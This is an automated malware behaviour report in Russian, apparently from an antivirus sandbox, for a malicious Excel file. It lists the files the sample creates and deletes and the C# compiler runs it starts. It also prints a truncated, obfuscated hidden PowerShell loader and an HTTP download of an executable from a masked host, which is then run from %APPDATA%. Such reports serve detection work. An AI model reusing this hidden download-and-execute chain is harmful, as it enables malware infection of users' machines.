Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function p8213 {param($pf4edd)$s35557='u98ef';$k7722='';for ($i=0; $i -lt $pf4edd.length;$i+=2){$wc258ec=[convert]::ToByte($pf4edd.Substring($i,2),16);$k7722+=[char]($wc25...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\gcrxsihi.0.cs
- %TEMP%\res3da3.tmp
- %TEMP%\05kl7xbi.dll
- %TEMP%\01e52heh.0.cs
- %TEMP%\01e52heh.cmdline
- %TEMP%\01e52heh.out
- %TEMP%\csc6677.tmp
- %TEMP%\res6688.tmp
- %TEMP%\01e52heh.dll
- %APPDATA%\fc392cb.exe
- %TEMP%\x4wbvfq_.0.cs
- %TEMP%\x4wbvfq_.cmdline
- %TEMP%\x4wbvfq_.out
- %TEMP%\rese65.tmp
- %TEMP%\csc9fa8.tmp
- %TEMP%\x4wbvfq_.dll
- %TEMP%\xknixig5.0.cs
- %TEMP%\xknixig5.cmdline
- %TEMP%\xknixig5.out
- %TEMP%\cscbdfe.tmp
- %TEMP%\resbe2d.tmp
- %TEMP%\xknixig5.dll
- %TEMP%\b-_2maf7.0.cs
- %TEMP%\b-_2maf7.cmdline
- %TEMP%\b-_2maf7.out
- %TEMP%\cscf1df.tmp
- %TEMP%\resf1ef.tmp
- %TEMP%\05kl7xbi.out
- %TEMP%\csc3d93.tmp
- %TEMP%\05kl7xbi.cmdline
- %TEMP%\05kl7xbi.0.cs
- %TEMP%\indxbaf8.dll
- %TEMP%\gcrxsihi.out
- %TEMP%\ig1560ja.0.cs
- %TEMP%\ig1560ja.cmdline
- %TEMP%\o88t60ez.0.cs
- %TEMP%\o88t60ez.cmdline
- %TEMP%\ig1560ja.out
- %TEMP%\o88t60ez.out
- %TEMP%\cscd99.tmp
- %TEMP%\cscde7.tmp
- %TEMP%\csce55.tmp
- %TEMP%\resd9a.tmp
- %TEMP%\ig1560ja.dll
- %TEMP%\b-_2maf7.dll
- %TEMP%\res9fc8.tmp
- %TEMP%\resdf8.tmp
- %TEMP%\gcrxsihi.dll
- %TEMP%\xpbkbfax.0.cs
- %TEMP%\xpbkbfax.cmdline
- %TEMP%\xpbkbfax.out
- %TEMP%\csc1be2.tmp
- %TEMP%\res1c11.tmp
- %TEMP%\xpbkbfax.dll
- %TEMP%\indxbaf8.0.cs
- %TEMP%\indxbaf8.cmdline
- %TEMP%\indxbaf8.out
- %TEMP%\csc3219.tmp
- %TEMP%\res322a.tmp
- %TEMP%\gcrxsihi.cmdline
- %TEMP%\o88t60ez.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{962daf81-05bd-42c4-b096-7d1740cf4a3c}.tmp
Удаляет следующие файлы
- %TEMP%\resd9a.tmp
- %TEMP%\res9fc8.tmp
- %TEMP%\01e52heh.cmdline
- %TEMP%\01e52heh.pdb
- %TEMP%\01e52heh.dll
- %TEMP%\01e52heh.0.cs
- %TEMP%\x4wbvfq_.cmdline
- %TEMP%\01e52heh.out
- %TEMP%\res6688.tmp
- %TEMP%\05kl7xbi.0.cs
- %TEMP%\05kl7xbi.out
- %TEMP%\05kl7xbi.pdb
- %TEMP%\05kl7xbi.dll
- %TEMP%\05kl7xbi.cmdline
- %TEMP%\csc6677.tmp
- %TEMP%\xpbkbfax.cmdline
- %TEMP%\x4wbvfq_.0.cs
- %TEMP%\b-_2maf7.out
- %TEMP%\b-_2maf7.cmdline
- %TEMP%\b-_2maf7.dll
- %TEMP%\cscf1df.tmp
- %TEMP%\resf1ef.tmp
- %TEMP%\xknixig5.0.cs
- %TEMP%\csc3d93.tmp
- %TEMP%\csc9fa8.tmp
- %TEMP%\xknixig5.pdb
- %TEMP%\xknixig5.dll
- %TEMP%\cscbdfe.tmp
- %TEMP%\resbe2d.tmp
- %TEMP%\x4wbvfq_.pdb
- %TEMP%\x4wbvfq_.dll
- %TEMP%\xknixig5.out
- %TEMP%\x4wbvfq_.out
- %TEMP%\res3da3.tmp
- %TEMP%\indxbaf8.pdb
- %TEMP%\indxbaf8.dll
- %TEMP%\o88t60ez.0.cs
- %TEMP%\cscd99.tmp
- %TEMP%\resdf8.tmp
- %TEMP%\cscde7.tmp
- %TEMP%\rese65.tmp
- %TEMP%\csce55.tmp
- %TEMP%\b-_2maf7.0.cs
- %TEMP%\o88t60ez.pdb
- %TEMP%\gcrxsihi.out
- %TEMP%\o88t60ez.cmdline
- %TEMP%\o88t60ez.out
- %TEMP%\gcrxsihi.pdb
- %TEMP%\gcrxsihi.0.cs
- %TEMP%\gcrxsihi.dll
- %TEMP%\o88t60ez.dll
- %TEMP%\xknixig5.cmdline
- %TEMP%\ig1560ja.0.cs
- %TEMP%\ig1560ja.out
- %TEMP%\ig1560ja.dll
- %TEMP%\indxbaf8.0.cs
- %TEMP%\indxbaf8.cmdline
- %TEMP%\indxbaf8.out
- %TEMP%\csc3219.tmp
- %TEMP%\res322a.tmp
- %TEMP%\ig1560ja.cmdline
- %TEMP%\xpbkbfax.pdb
- %TEMP%\gcrxsihi.cmdline
- %TEMP%\xpbkbfax.dll
- %TEMP%\xpbkbfax.0.cs
- %TEMP%\csc1be2.tmp
- %TEMP%\res1c11.tmp
- %TEMP%\ig1560ja.pdb
- %TEMP%\xpbkbfax.out
- %TEMP%\b-_2maf7.pdb
Сетевая активность
TCP
Запросы HTTP GET
- http://kp##co.com/images_2020_2487_33976789_pdf.exe
UDP
- DNS ASK kp##co.com
Другое
Создает и запускает на исполнение
- '%APPDATA%\fc392cb.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function p8213 {param($pf4edd)$s35557='u98ef';$k7722='';for ($i=0; $i -lt $pf4edd.length;$i+=2){$wc258ec=[convert]::ToByte($pf4edd.Substring($i,2),16);$k7722+=[char]($wc25...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBE2D.tmp" "%TEMP%\CSCBDFE.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xknixig5.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9FC8.tmp" "%TEMP%\CSC9FA8.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x4wbvfq_.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6688.tmp" "%TEMP%\CSC6677.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\01e52heh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3DA3.tmp" "%TEMP%\CSC3D93.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\05kl7xbi.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES322A.tmp" "%TEMP%\CSC3219.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\indxbaf8.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1C11.tmp" "%TEMP%\CSC1BE2.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xpbkbfax.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE65.tmp" "%TEMP%\CSCE55.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF8.tmp" "%TEMP%\CSCDE7.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD9A.tmp" "%TEMP%\CSCD99.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ig1560ja.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o88t60ez.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gcrxsihi.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\b-_2maf7.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF1EF.tmp" "%TEMP%\CSCF1DF.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\b-_2maf7.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBE2D.tmp" "%TEMP%\CSCBDFE.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xknixig5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9FC8.tmp" "%TEMP%\CSC9FA8.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\x4wbvfq_.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6688.tmp" "%TEMP%\CSC6677.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\01e52heh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3DA3.tmp" "%TEMP%\CSC3D93.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\05kl7xbi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES322A.tmp" "%TEMP%\CSC3219.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\indxbaf8.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES1C11.tmp" "%TEMP%\CSC1BE2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xpbkbfax.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE65.tmp" "%TEMP%\CSCE55.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESDF8.tmp" "%TEMP%\CSCDE7.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD9A.tmp" "%TEMP%\CSCD99.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ig1560ja.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o88t60ez.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gcrxsihi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF1EF.tmp" "%TEMP%\CSCF1DF.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
